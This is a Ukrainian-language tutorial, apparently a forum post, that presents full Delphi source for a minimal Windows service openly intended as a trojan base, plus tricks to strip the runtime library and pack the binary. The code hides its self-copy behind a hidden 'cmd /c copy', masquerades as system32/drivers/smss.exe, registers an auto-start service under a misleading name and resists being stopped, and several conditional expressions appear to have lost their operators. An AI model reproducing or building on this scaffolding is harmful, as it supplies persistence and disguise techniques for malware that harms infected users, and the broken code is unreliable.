Нерідко основою для троянів є сервіс… Створення сервісу на Delphi стандартними методами дозволяє це зробити всього за кілька секунд, але у цього сервісу є один явний недолік — неупакований розмір близько 400 кб (некволий трой виходить)… Вирішити проблему мінімізації дозволяє:
1)Переписание на WinApi
2)Звільнення від RTL
3)Упаковка програми (в моєму прикладі FSG 2,0)

Мені вдалося таким чином зменшити розмір сервісу більш ніж у 250 разів від стандартного, в даному прикладі 1849 байт…

1)Переписание на Api дає значне скорочення розміру, але не варто забувати і про необхідність позбавлення від всіх модулів, а так само для того що б ми могли надалі відключити RTL необхідно позбутися від будь-якого застосування типу string і динамічних масивів… Відповідно, нам доведеться всі використовувані Api функції імпортувати з вінди, так само нам доведеться перебрати весь набір типів і констант які використовуються з модулів….
Повний код сервісу представлений нижче, і його необхідно зберегти у файл з розширенням .dpr і запустити в делфі…

//Вихідний сервісу
const
ServiceName = ‘NTError’; ServiceDisp = ‘Служба реєстрації помилкових операцій’;
Path = ‘system32/drivers/smss.exe’;
kernel32 = ‘kernel32.dll’;
advapi32 = ‘advapi32.dll’;
SERVICE_RUNNING = $00000004;
SERVICE_WIN32_OWN_PROCESS = $00000010;
SERVICE_WIN32_SHARE_PROCESS = $00000020;
SERVICE_WIN32 = (SERVICE_WIN32_OWN_PROCESS or
SERVICE_WIN32_SHARE_PROCESS);
SERVICE_START_PENDING = $00000002;
SC_MANAGER_CREATE_SERVICE = $0002;
STANDARD_RIGHTS_REQUIRED = $000F0000;
SERVICE_AUTO_START = $00000002;
SERVICE_ERROR_NORMAL = $00000001;
SC_MANAGER_CONNECT = $0001;
SERVICE_START = $0010;
SERVICE_QUERY_STATUS = $0004;
SERVICE_INTERACTIVE_PROCESS = $00000100;
MAX_PATH = 260;
INFINITE = INTEGER($FFFFFFFF);
GENERIC_READ = INTEGER($80000000);
FILE_SHARE_READ = $00000001;
FILE_ATTRIBUTE_NORMAL = $00000080;
OPEN_EXISTING = 3;
SW_HIDE = 0;

type
HINST = INTEGER;
THandle = INTEGER;
UINT = INTEGER;
DWORD = INTEGER;
LPDWORD = ^INTEGER;
BOOL = BOOLEAN;
pathbuf = array [0..MAX_PATH] of char;
SERVICE_TABLE_ENTRYA = record
lpServiceName: PChar;
lpServiceProc: Pointer;
end;
SERVICE_STATUS = record
dwServiceType: DWORD;
dwCurrentState: DWORD;
dwControlsAccepted: DWORD;
dwWin32ExitCode: DWORD;
dwServiceSpecificExitCode: DWORD;
dwCheckPoint: DWORD;
dwWaitHint: DWORD;
end;
PSecurityAttributes = ^TSecurityAttributes;
TSecurityAttributes = record
nLength: Cardinal;
lpSecurityDescriptor: Pointer;
bInheritHandle: Boolean;
end;

var
DispatchTable: SERVICE_TABLE_ENTRYA;
hThread: THandle;
ServiceStatus: SERVICE_STATUS;
ServiceStatusHandle: integer;

function SetServiceStatus(hServiceStatus: integer; var lpServiceStatus: SERVICE_STATUS): BOOL; stdcall; external advapi32 name ‘SetServiceStatus’;
function RegisterServiceCtrlHandler(lpServiceName: PChar; lpHandlerProc: pointer): integer; stdcall;external advapi32 name ‘RegisterServiceCtrlHandlerA’;
function OpenSCManager(lpMachineName, lpDatabaseName: PChar; dwDesiredAccess: DWORD): INTEGER; stdcall; external advapi32 name ‘OpenSCManagerA’;
function CreateService(hSCManager: INTEGER; lpServiceName, lpDisplayName: PChar; dwDesiredAccess, dwServiceType, dwStartType, dwErrorControl: DWORD; lpBinaryPathName, lpLoadOrderGroup: PChar; lpdwTagId: LPDWORD; lpDependencies, lpServiceStartName, lpPassword: PChar): INTEGER; stdcall; external advapi32 name ‘CreateServiceA’;
function CloseServiceHandle(hSCObject: INTEGER): BOOL; stdcall; external advapi32 name ‘CloseServiceHandle’;
function OpenService(hSCManager: INTEGER; lpServiceName: PChar; dwDesiredAccess: DWORD): INTEGER; stdcall; external advapi32 name ‘OpenServiceA’;
function StartService(hService: INTEGER; dwNumServiceArgs: INTEGER; var lpServiceArgVectors: PChar): BOOL; stdcall; external advapi32 name ‘StartServiceA’;
function QueryServiceStatus(hService: INTEGER; var lpServiceStatus: SERVICE_STATUS): BOOL; stdcall; external advapi32 name ‘QueryServiceStatus’;
function StartServiceCtrlDispatcher(var lpServiceStartTable: SERVICE_TABLE_ENTRYA): BOOL; stdcall; external advapi32 name ‘StartServiceCtrlDispatcherA’;
procedure Sleep(dwMilliseconds: DWORD); stdcall; external kernel32 name ‘Sleep’;
function CreateThread(lpThreadAttributes: Pointer; dwStackSize: DWORD; lpStartAddress: Pointer; lpParameter: Pointer; dwCreationFlags: DWORD; var lpThreadId: DWORD): THandle; stdcall; external kernel32 name ‘CreateThread’;
function WaitForSingleObject(hHandle: THandle; dwMilliseconds: DWORD): DWORD; stdcall; external kernel32 name ‘WaitForSingleObject’;
function CloseHandle(hObject: THandle): BOOL; stdcall; external kernel32 name ‘CloseHandle’;
function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: DWORD; lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: DWORD; hTemplateFile: THandle): THandle; stdcall; external kernel32 name ‘CreateFileA’;
function GetModuleFileName(hModule: HINST; lpFilename: PChar; nSize: DWORD): DWORD; stdcall; external kernel32 name ‘GetModuleFileNameA’;
function GetWindowsDirectory(lpBuffer: PChar; uSize: UINT): UINT; stdcall; external kernel32 name ‘GetWindowsDirectoryA’;
function lstrcpy(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name ‘lstrcpyA’;
function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name ‘lstrcatA’;
function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external kernel32 name ‘WinExec’;

Procedure PayLoad;
begin
while true do
begin
//Циклічна операція виконується в сервісі
end;
end;

procedure ServiceCtrlHandler; stdcall;
begin
SetServiceStatus(ServiceStatusHandle, ServiceStatus);
end;

procedure MainServiceThread; stdcall;
begin
sleep(INFINITE);
end;

procedure ServiceProc(argc: DWORD; var argv: array of PChar); stdcall;
var
thID: integer;
begin
ServiceStatus.dwServiceType := SERVICE_WIN32;
ServiceStatus.dwCurrentState := SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted := 0;
ServiceStatus.dwWin32ExitCode := 0;
ServiceStatus.dwServiceSpecificExitCode := 0;
ServiceStatus.dwCheckPoint := 0;
ServiceStatus.dwWaitHint := 0;
ServiceStatusHandle := RegisterServiceCtrlHandler(ServiceName, @ServiceCtrlHandler);
ServiceStatus.dwCurrentState := SERVICE_RUNNING;
ServiceStatus.dwCheckPoint := 0;
ServiceStatus.dwWaitHint := 0;
SetServiceStatus(ServiceStatusHandle, ServiceStatus);
Payload;
hThread := CreateThread(nil, 0, @MainServiceThread, nil, 0, ThID);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
end;

function CreateNTService(ExecutablePath, ServiceName: PChar): boolean;
var
hNewService, hSCMgr: INTEGER;
FuncRetVal: Boolean;
begin
FuncRetVal := False;
hSCMgr := OpenSCManager(nil, nil, SC_MANAGER_CREATE_SERVICE);
if (hSCMgr 0) then
begin
hNewService := CreateService(hSCMgr, ServiceName, ServiceDisp,
STANDARD_RIGHTS_REQUIRED, SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
ExecutablePath, nil, nil, nil, nil, nil);
CloseServiceHandle(hSCMgr);
if (hNewService 0) then
FuncRetVal := true
else
FuncRetVal := false;
end;
CreateNTService := FuncRetVal;
end;

function ServiceStart(aServiceName: PChar ): boolean;
var
h_manager,h_svc: INTEGER;
svc_status: SERVICE_STATUS;
Temp: PChar;
dwCheckPoint: DWord;
begin
svc_status.dwCurrentState := 1;
h_manager := OpenSCManager(nil, nil, SC_MANAGER_CONNECT);
if h_manager > 0 then
begin
h_svc := OpenService(h_manager, aServiceName,
SERVICE_START or SERVICE_QUERY_STATUS);
if h_svc > 0 then
begin
temp := nil;
if (StartService(h_svc,0,temp)) then
if (QueryServiceStatus(h_svc,svc_status)) then
begin
while (SERVICE_RUNNING svc_status.dwCurrentState) do
begin
dwCheckPoint := svc_status.dwCheckPoint;
Sleep(svc_status.dwWaitHint);
if (not QueryServiceStatus(h_svc,svc_status)) then break;
if (svc_status.dwCheckPoint < dwCheckPoint) then break;
end;
end;
CloseServiceHandle(h_svc);
end;
CloseServiceHandle(h_manager);
end;
Result := SERVICE_RUNNING = svc_status.dwCurrentState;
end;

function FileExists(path:PChar):boolean;
var
i: integer;
begin
i:=CreateFile(path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if i=-1
then Result:=false
else Result:=true;
end;

var
F1,F2,F3,F4: pathbuf;
begin
GetModuleFileName(0,F1,MAX_PATH);
GetWindowsDirectory(F3, MAX_PATH);
LStrCpy(F2,#0);
LStrCat(F2,F3);
LStrCat(F2,path);
if not FileExists(F2) then
begin
LStrCpy(F4,#0);
LStrCat(F4,’cmd /c copy /y ‘);
LStrCat(F4,F1);
LStrCat(F4,’ ‘);
LStrCat(F4,F2);
winexec(F4,SW_HIDE);
CreateNTService(F2, ServiceName);
ServiceStart(ServiceName);
exit;
end;
DispatchTable.lpServiceName := ServiceName;
DispatchTable.lpServiceProc := @ServiceProc;
StartServiceCtrlDispatcher(DispatchTable);
end.

2)Звільнення від RTL (Run Time Lib) дозволяє зменшити розмір мінімальної проги на делфі до 3,5 кб (неупаковані) і менш 1кб (упакованої FSG 2,0)…
Для того що б позбавитися від RTL нам необхідно запустити проект попередньо розмістивши в папці з проектом урезаные модулі System і SysInit як це зробити…..
1)Созадем в папці програми два текстових файла: System.pas, SysInit.pas відповідно з вмістом:

unit System;
interface
procedure _HandleFinally;
type
TGUID = record
D1: LongWord;
D2: Word;
D3: Word;
D4: array [0..7] of Byte;
end;
PInitContext = ^TInitContext;
TInitContext = record
OuterContext: PInitContext;
ExcFrame: Pointer;
InitTable: pointer;
InitCount: Integer;
Module: pointer;
DLLSaveEBP: Pointer;
DLLSaveEBX: Pointer;
DLLSaveESI: Pointer;
DLLSaveEDI: Pointer;
ExitProcessTLS: procedure;
DLLInitState: Byte;
end;
implementation
procedure _HandleFinally;
asm
end;
end.

unit SysInit;
interface
procedure _InitExe;
procedure _halt0;
var
ModuleIsLib: Boolean;
TlsIndex: Integer = -1;
TlsLast: Byte;
const
PtrToNil: Pointer = nil;
implementation
procedure _InitExe;
asm
end;
procedure ExitProcess(uExitCode: INTEGER); stdcall; external ‘kernel32.dll’ name ‘ExitProcess’;
procedure _halt0;
begin
ExitProcess(0);
end;
end.

2)Тепер необхідно виконати компіляцію цих файлів… Для цього необхідно виконати командний рядок: DCC32 -Q system.pas sysinit.pas -M -Y -Z -$D- -O в папці з проектом, це легко зробивши з допомогою ват-ніка….
Якщо все нормально пройшло в папці з’являться ще два файлу: System.dcu, SysInit.dcu

3)Запустивши проект і откомпилировав його ми отримаємо сервіс на делфі вагою 5120 байт… Тепер залишилося упакувати сервіс з допомогою FSG 2,0……

Ця стаття розроблена в середовищі розробки Delphi 7… При запуску проги відбувається самокопірованія проги в дорогу system32/drivers/smss.exe реєстрація сервісу і його запуск… Сервіс не може бути зупинено або видалений до перезавантаження…

Використовувати матеріали статті грамотно…